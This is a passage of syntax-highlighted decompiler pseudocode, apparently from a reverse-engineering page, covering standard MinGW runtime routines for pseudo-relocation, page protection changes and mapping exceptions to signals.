</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ((Buffer.Protect <span style="color:#f92672">-</span> <span style="color:#ae81ff">4</span>) <span style="color:#f92672">&</span> <span style="color:#ae81ff">0xFFFFFFFB</span>) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">&&</span> ((Buffer.Protect <span style="color:#f92672">-</span> <span style="color:#ae81ff">64</span>) <span style="color:#f92672">&</span> <span style="color:#ae81ff">0xFFFFFFBF</span>) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">&&</span> <span style="color:#f92672">!</span><span style="color:#a6e22e">VirtualProtect</span>(Buffer.BaseAddress, Buffer.RegionSize, <span style="color:#ae81ff">0x40u</span>, <span style="color:#f92672">&</span>the_secs[v11].old_protect) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> LastError <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetLastError</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_report_error</span>(<span style="color:#e6db74">" VirtualProtect failed with code 0x%x"</span>, LastError);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#f92672">++</span>maxSections;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> p_sec_start <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>the_secs<span style="color:#f92672">-></span>sec_start;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( addr <span style="color:#f92672"><</span> <span style="color:#f92672">*</span>p_sec_start <span style="color:#f92672">||</span> addr <span style="color:#f92672">>=</span> <span style="color:#f92672">&</span>(<span style="color:#f92672">*</span>p_sec_start)[<span style="color:#f92672">*</span>(p_sec_start[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span>)] )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#f92672">++</span>v7;
</span></span><span style="display:flex;"><span> p_sec_start <span style="color:#f92672">+=</span> <span style="color:#ae81ff">3</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v7 <span style="color:#f92672">==</span> maxSections )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">goto</span> LABEL_6;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memcpy</span>(addr, src, len);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000401F10) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">pei386_runtime_relocator</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">__int64</span> v0; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>v1; <span style="color:#75715e">// rsp
</span></span></span><span style="display:flex;"><span> _DWORD <span style="color:#f92672">*</span>v2; <span style="color:#75715e">// rbx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>v3; <span style="color:#75715e">// rsp
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v4; <span style="color:#75715e">// edx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>v5; <span style="color:#75715e">// rbx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> v6; <span style="color:#75715e">// edx
</span></span></span><span style="display:flex;"><span> BYTE <span style="color:#f92672">*</span>v7; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> BYTE <span style="color:#f92672">*</span>v8; <span style="color:#75715e">// rcx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__int64</span> v9; <span style="color:#75715e">// r8
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__int64</span> v10; <span style="color:#75715e">// rbx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> i; <span style="color:#75715e">// esi
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__int64</span> v12; <span style="color:#75715e">// rcx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v13; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> BYTE <span style="color:#f92672">*</span>v14; <span style="color:#75715e">// rcx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">__int64</span> v15; <span style="color:#75715e">// rdx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">__int64</span> v16; <span style="color:#75715e">// rdx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">__int64</span> v17; <span style="color:#75715e">// rdx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v18; <span style="color:#75715e">// [rsp+20h] [rbp-40h] BYREF
</span></span></span><span style="display:flex;"><span> DWORD flOldProtect; <span style="color:#75715e">// [rsp+2Ch] [rbp-34h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> _MEMORY_BASIC_INFORMATION src; <span style="color:#75715e">// [rsp+30h] [rbp-30h] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( was_init_73980 )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span> was_init_73980 <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> v0 <span style="color:#f92672">=</span> (<span style="color:#ae81ff">24LL</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">_mingw_GetSectionCount</span>() <span style="color:#f92672">+</span> <span style="color:#ae81ff">30</span>) <span style="color:#f92672">&</span> <span style="color:#ae81ff">0xFFFFFFFFFFFFFFF0uLL</span>;
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#a6e22e">alloca</span>(v0);
</span></span><span style="display:flex;"><span> v2 <span style="color:#f92672">=</span> refptr___RUNTIME_PSEUDO_RELOC_LIST__;
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">alloca</span>(v0);
</span></span><span style="display:flex;"><span> maxSections <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> the_secs <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>v18;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( refptr___RUNTIME_PSEUDO_RELOC_LIST_END__ <span style="color:#f92672">-</span> refptr___RUNTIME_PSEUDO_RELOC_LIST__ <span style="color:#f92672"><=</span> <span style="color:#ae81ff">7</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( refptr___RUNTIME_PSEUDO_RELOC_LIST_END__ <span style="color:#f92672">-</span> refptr___RUNTIME_PSEUDO_RELOC_LIST__ <span style="color:#f92672">></span> <span style="color:#ae81ff">11</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>refptr___RUNTIME_PSEUDO_RELOC_LIST__ <span style="color:#f92672">||</span> <span style="color:#f92672">*</span>(refptr___RUNTIME_PSEUDO_RELOC_LIST__ <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">goto</span> LABEL_25;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>(refptr___RUNTIME_PSEUDO_RELOC_LIST__ <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span>) )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">goto</span> LABEL_11;
</span></span><span style="display:flex;"><span> v2 <span style="color:#f92672">=</span> (refptr___RUNTIME_PSEUDO_RELOC_LIST__ <span style="color:#f92672">+</span> <span style="color:#ae81ff">12</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>v2 <span style="color:#f92672">||</span> v2[<span style="color:#ae81ff">1</span>] )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span>LABEL_25:
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v2 <span style="color:#f92672">>=</span> refptr___RUNTIME_PSEUDO_RELOC_LIST_END__ )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v12 <span style="color:#f92672">=</span> v2[<span style="color:#ae81ff">1</span>];
</span></span><span style="display:flex;"><span> v13 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>v2;
</span></span><span style="display:flex;"><span> v2 <span style="color:#f92672">+=</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span> v14 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>refptr___image_base__[v12];
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LODWORD</span>(src.BaseAddress) <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>v14 <span style="color:#f92672">+</span> v13;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_write_memory_part_0</span>(v14, <span style="color:#f92672">&</span>src, <span style="color:#ae81ff">4uLL</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( v2 <span style="color:#f92672"><</span> refptr___RUNTIME_PSEUDO_RELOC_LIST_END__ );
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">goto</span> LABEL_19;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>LABEL_11:
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> v2[<span style="color:#ae81ff">2</span>];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v4 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_report_error</span>(<span style="color:#e6db74">" Unknown pseudo relocation protocol version %d.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v4);
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> v2 <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v5 <span style="color:#f92672"><</span> refptr___RUNTIME_PSEUDO_RELOC_LIST_END__ )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(v5 <span style="color:#f92672">+</span> <span style="color:#ae81ff">8</span>);
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>refptr___image_base__[<span style="color:#f92672">*</span>v5];
</span></span><span style="display:flex;"><span> v8 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>refptr___image_base__[v5[<span style="color:#ae81ff">1</span>]];
</span></span><span style="display:flex;"><span> v9 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>v7;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v6 <span style="color:#f92672">==</span> <span style="color:#ae81ff">16</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v16 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>v8;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( (v16 <span style="color:#f92672">&</span> <span style="color:#ae81ff">0x8000u</span>) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0LL</span> )
</span></span><span style="display:flex;"><span> v16 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>v8 <span style="color:#f92672">|</span> <span style="color:#ae81ff">0xFFFFFFFFFFFF0000uLL</span>;
</span></span><span style="display:flex;"><span> src.BaseAddress <span style="color:#f92672">=</span> (v9 <span style="color:#f92672">+</span> v16 <span style="color:#f92672">-</span> v7);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_write_memory_part_0</span>(v8, <span style="color:#f92672">&</span>src, <span style="color:#ae81ff">2uLL</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> ( v6 <span style="color:#f92672"><=</span> <span style="color:#ae81ff">0x10</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v6 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">8</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span>LABEL_35:
</span></span><span style="display:flex;"><span> src.BaseAddress <span style="color:#f92672">=</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_report_error</span>(<span style="color:#e6db74">" Unknown pseudo relocation bit size %d.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v6);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> v15 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>v8;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( (v15 <span style="color:#f92672">&</span> <span style="color:#ae81ff">0x80u</span>) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0LL</span> )
</span></span><span style="display:flex;"><span> v15 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>v8 <span style="color:#f92672">|</span> <span style="color:#ae81ff">0xFFFFFFFFFFFFFF00uLL</span>;
</span></span><span style="display:flex;"><span> src.BaseAddress <span style="color:#f92672">=</span> (v9 <span style="color:#f92672">+</span> v15 <span style="color:#f92672">-</span> v7);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_write_memory_part_0</span>(v8, <span style="color:#f92672">&</span>src, <span style="color:#ae81ff">1uLL</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> ( v6 <span style="color:#f92672">==</span> <span style="color:#ae81ff">32</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v17 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>v8;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( (v17 <span style="color:#f92672">&</span> <span style="color:#ae81ff">0x80000000</span>) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0LL</span> )
</span></span><span style="display:flex;"><span> v17 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>v8 <span style="color:#f92672">|</span> <span style="color:#ae81ff">0xFFFFFFFF00000000uLL</span>;
</span></span><span style="display:flex;"><span> src.BaseAddress <span style="color:#f92672">=</span> (v9 <span style="color:#f92672">+</span> v17 <span style="color:#f92672">-</span> v7);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_write_memory_part_0</span>(v8, <span style="color:#f92672">&</span>src, <span style="color:#ae81ff">4uLL</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v6 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">64</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">goto</span> LABEL_35;
</span></span><span style="display:flex;"><span> src.BaseAddress <span style="color:#f92672">=</span> (<span style="color:#f92672">*</span>v8 <span style="color:#f92672">+</span> v9 <span style="color:#f92672">-</span> v7);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_write_memory_part_0</span>(v8, <span style="color:#f92672">&</span>src, <span style="color:#ae81ff">8uLL</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">+=</span> <span style="color:#ae81ff">3</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( v5 <span style="color:#f92672"><</span> refptr___RUNTIME_PSEUDO_RELOC_LIST_END__ );
</span></span><span style="display:flex;"><span>LABEL_19:
</span></span><span style="display:flex;"><span> v10 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0LL</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> maxSections; <span style="color:#f92672">++</span>v10 )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( the_secs[v10].old_protect )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span><span style="color:#a6e22e">VirtualQuery</span>(the_secs[v10].sec_start, <span style="color:#f92672">&</span>src, <span style="color:#ae81ff">0x30uLL</span>) )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_report_error</span>(
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">" VirtualQuery failed for %d bytes at address %p"</span>,
</span></span><span style="display:flex;"><span> the_secs[v10].hash<span style="color:#f92672">-></span>Misc.PhysicalAddress,
</span></span><span style="display:flex;"><span> the_secs[v10].sec_start);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">VirtualProtect</span>(src.BaseAddress, src.RegionSize, the_secs[v10].old_protect, <span style="color:#f92672">&</span>flOldProtect);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#f92672">++</span>i;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 405390: using guessed type _UNKNOWN *refptr___RUNTIME_PSEUDO_RELOC_LIST_END__;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 4053A0: using guessed type _UNKNOWN *refptr___RUNTIME_PSEUDO_RELOC_LIST__;
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0000000000402210) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_mingw_SEH_error_handler</span>(
</span></span><span style="display:flex;"><span> _EXCEPTION_RECORD <span style="color:#f92672">*</span>ExceptionRecord,
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>EstablisherFrame,
</span></span><span style="display:flex;"><span> _CONTEXT <span style="color:#f92672">*</span>ContextRecord,
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>DispatcherContext)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> DWORD ExceptionCode; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> _crt_signal_t v5; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> result; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> _crt_signal_t v7; <span style="color:#75715e">// rdx
</span></span></span><span style="display:flex;"><span> _crt_signal_t v8; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> ExceptionCode <span style="color:#f92672">=</span> ExceptionRecord<span style="color:#f92672">-></span>ExceptionCode;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ExceptionRecord<span style="color:#f92672">-></span>ExceptionCode <span style="color:#f92672">></span> <span style="color:#ae81ff">0xC0000091</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ExceptionCode <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1073741676</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> <span style="color:#a6e22e">signal</span>(<span style="color:#ae81ff">8</span>, <span style="color:#ae81ff">0LL</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v7 <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">signal</span>(<span style="color:#ae81ff">8</span>, <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">goto</span> LABEL_16;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ExceptionCode <span style="color:#f92672">></span> <span style="color:#ae81ff">0xC0000094</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ExceptionCode <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1073741675</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ExceptionCode <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1073741674</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">goto</span> LABEL_20;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ExceptionCode <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1073741678</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ExceptionCode <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1073741677</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> ( ExceptionCode <span style="color:#f92672"><</span> <span style="color:#ae81ff">0xC000008D</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ExceptionCode <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1073741816</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ExceptionCode <span style="color:#f92672"><=</span> <span style="color:#ae81ff">0xC0000008</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ExceptionCode <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">2147483646</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ExceptionCode <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1073741819</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> <span style="color:#a6e22e">signal</span>(<span style="color:#ae81ff">11</span>, <span style="color:#ae81ff">0LL</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v5 <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">signal</span>(<span style="color:#ae81ff">11</span>, <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v5 )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> (v5)(<span style="color:#ae81ff">11LL</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">4</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ExceptionCode <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1073741795</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> ExceptionCode <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1073741684</span>;
</span></span><span style="display:flex;"><span>LABEL_20:
</span></span><span style="display:flex;"><span> v8 <span style="color:#f92672">=</span> <span style="color:#a6e22e">signal</span>(<span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">0LL</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v8 <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">signal</span>(<span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v8 )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> (v8)(<span style="color:#ae81ff">4LL</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">4</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> <span style="color:#a6e22e">signal</span>(<span style="color:#ae81ff">8</span>, <span style="color:#ae81ff">0LL</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v7 <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">signal</span>(<span style="color:#ae81ff">8</span>, <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fpreset</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>LABEL_16:
</span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v7 )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> (v7)(<span style="color:#ae81ff">8LL</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00000000004023C0) ----------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">_mingw_init_ehandler</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> PBYTE PEImageBase; <span style="color:#75715e">// rbp
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> result; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> RUNTIME_FUNCTION <span style="color:#f92672">*</span>v2; <span style="color:#75715e">// rbx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> v3; <span style="color:#75715e">// rsi
</span></span></span><span style="display:flex;"><span> UNWIND_INFO <span style="color:#f92672">*</span>v4; <span style="color:#75715e">// rdi
